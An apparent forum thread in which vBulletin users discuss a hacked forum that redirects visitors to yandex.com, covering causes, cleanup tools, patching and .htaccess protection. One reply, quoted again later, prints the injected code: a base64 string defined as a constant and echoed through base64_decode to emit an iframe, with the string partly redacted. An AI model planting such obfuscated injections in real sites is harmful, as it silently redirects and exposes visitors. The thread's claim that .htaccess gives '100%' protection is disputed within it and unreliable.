My site redirects to yandex.com

[Trevor Hannant]

Any ideas on how this was done? Admincp?

File edits can't be done via AdminCP - they either have to be:

- edited directly on the server or
- edited locally and uploaded to a server

First steps in this case:

- change FTP login information
- check server access logs for around the time of the problems starting and find out who accessed and uploaded the file
- block any IP address/IP range that doesn't belong to you/your team
- visit www.vbulletin.com/go/secure for more tips on how to secure your installation

[snakes1100]

Well, I was responding to snakes1100. OK, so he's wrong.

As i said earlier, the server/host, meaning vb isnt to blame, quite simply its you thats going to get the blame, thats the funniest thing.

Your the one running a insecure version of vb, thats why there has been numerous security patches released from vb since 3.8.3

define('SITE_COLOR', 'PGlmcmFtZSBzcmM9IremovedforsafetyVib3JkZXI9IjAiPgo8L2$echo base64_decode(SITE_COLOR);

The above code was injected into the file, you have a major security hole & its going to happen again until you update everything on your server, including vb, hacks/addons/ custom php files & anything else you dont keep updated on your server.

Interesting.... How in the world did they get it there?

Seeing as your running vb 3.8.1, i wouldnt doubt your next.


If you guys arent going to keep the server updated, why would you come blaming vb or vbseo?

[Jump]

You have been hacked just like I was last year.

Use this tool to get rid of the injection:

http://www.vbulletin.org/forum/showthread.php?t=220967

[Apokalupsis]

As i said earlier, the server/host, meaning vb isnt to blame, quite simply its you thats going to get the blame, thats the funniest thing.

Your the one running a insecure version of vb, thats why there has been numerous security patches released from vb since 3.8.3

Contradictory. We are talking about issues here. The hack was injected because of a vb version. It wasn't injected because of a weakness on the host's part or the servers' (like you said and are now backpeddling).

Of course vb needs to be updated. VB recognized the flaw and security issues, which is what caused patches for the update. THUS...the issue is a weakness in the vb version.

2 choices here: weakness in vb or weakness in server? You said server. You were incorrect. It was a weakness in vb. That weakness was recognized and patched. The fact that I have not updated yet, in no way argues that the issue was a server/host issue (like you had first claimed).

define('SITE_COLOR', 'PGlmcmFtZSBzcmM9IremovedforsafetyVib3JkZXI9IjAiPgo8L2$echo base64_decode(SITE_COLOR);

The above code was injected into the file, you have a major security hole & its going to happen again until you update everything on your server, including vb, hacks/addons/ custom php files & anything else you dont keep updated on your server.

Obviously.

If you guys arent going to keep the server updated, why would you come blaming vb or vbseo?

Strawman fallacy. No one argued any such thing. I recommend giving my site a visit. It can help you.

[Apokalupsis]

You have been hacked just like I was last year.

Use this tool to get rid of the injection:
http://www.vbulletin.org/forum/showthread.php?t=220967

Thanks for the link. I'm going to finally make the move to vb4 here very soon though. Been holding off due to all the complaints, but I figure since I should patch anyway, may as well take the leap.

[kmike]

Apokalupsis, if PHP scripts on the server have the correct permissions, modifying one of the vB scripts simply isn't possible through vBulletin, because vBulletin runs under a different system user than the user you are uploading your scripts with.
So,
- if the file permissions on the vB scripts were correct - the file modification wasn't done through vB, but using either stolen/intercepted FTP credentials or via the server hack;
- if the permissions were wrong (for example, any user was allowed to write to any script file), then the intrusion could have been made through vBulletin.

[Jump]

Thanks for the link. I'm going to finally make the move to vb4 here very soon though. Been holding off due to all the complaints, but I figure since I should patch anyway, may as well take the leap.

No worries, I learned this by experience and yes, vb is not to blame. We are resposible for our own security to our files. Htaccees files do just that, you just have to learn how to create each for each directory and use them to your advantage.

Also read up on this for more info:

http://www.vbulletin.org/forum/showthread.php?t=193930

Also this is a biggie:

http://www.vbulletin.org/forum/showthread.php?t=220914

Good luck!

[snakes1100]

Contradictory. We are talking about issues here. The hack was injected because of a vb version. It wasn't injected because of a weakness on the host's part or the servers' (like you said and are now backpeddling).

Yes, obviously you dont listen, obviously again why YOU was hacked.

Yours truely Strawman

[snakes1100]

No worries, I learned this by experience and yes, vb is not to blame. We are resposible for our own security to our files. Htaccees files do just that, you just have to learn how to create each for each directory and use them to your advantage.

Also read up on this for more info:

http://www.vbulletin.org/forum/showthread.php?t=193930

Also this is a biggie:

http://www.vbulletin.org/forum/showthread.php?t=220914

Good luck!

There is no way server side to stop a ddos attack on your server, that hack is misleading.

Securing folders with htaccess doesn't close the security holes in your site or server.

[Jump]

Then how come it worked for Me and many others like VB? Do you run a forum?? Have you ever? Have you ever tried the htacces file tactic to test and see if it really works on malicious code injection? I have....

Seems like you don't want to help people here that are having problems, and you seem to completely deny the fact that htaccess files will stop malicious code from being injected.

Once again, it may not close the security holes, but it will stop the holes from being reached by anyone surfing to those protected directories.

Now why would you not want to put up an extra layer of protection that works 100%, and stops these holes from being exploited, and only costs you a few hours of your time?

Oh, I see you want to let the hackers continued access, while you waste your time trying to patch it another way, meanwhile access is still available to all hackers.

You certainly are not helping the problem in this thread.

[snakes1100]

You didnt even confirm that they used a hole in the directory you protected, so again, protecting the admincp folder dont accomplish anything when you cant even figure out how they got into your site.

You certainly arent helping people either by telling them to htaccess protect a folder, it doesnt mean the security hole was in that folder with a php from that directory.

It does NOT 100% stop a hacker.

[Jump]

You didnt even confirm that they used a hole in the directory you protected, so again, protecting the admincp folder dont accomplish anything when you cant even figure out how they got into your site.

You certainly arent helping people either by telling them to htaccess protect a folder, it doesnt mean the security hole was in that folder with a php from that directory.

It does NOT 100% stop a hacker.

What are you talking about? Yes, it was confirmed on logs dude. Same directory I protected with the .htaccess files.

It stopped the exploiting of that directory 100%, sorry man, it works.

I tested it dozens of times and removed the .htaccess files a couple of times to see it would happen again, and it did. So, I got to play with it a lot, and found out that.... it stopped the injection 100% since almost 1 year ago!

Like you said in the other thread, you have no expereince with this so what is your argument?

[snakes1100]

Did you confirm the same thing on the persons server who posted this thread?

I think you still fail to see my point, but its ok.

[Jump]

I totally see your point, and I hope you see mine instead of shooting it down and saying it does not fix the problem at all.

Injection, sounds the same, why not be proactive and protect the directories from be accessed, will not hurt, only help, and maybe 100% like in my case.......

[snakes1100]

I never stated it doesnt hurt.

The point with injection is this:
hole in a php file in the images folder
the script uses its hole to access the file in the admincp
the injection rewrites your templates

The hole still exists, the hacker still has access to it because your not going to protect your image dir with passwd protection.

Most of the hackers using the template to redirect or change the pages on your site is using an automated script, this means if its a real hacker and not a kiddy script user, they will hack you again.

I never shot down your point, i was trying to shoot down the idea of false secuirty with what you had said is all.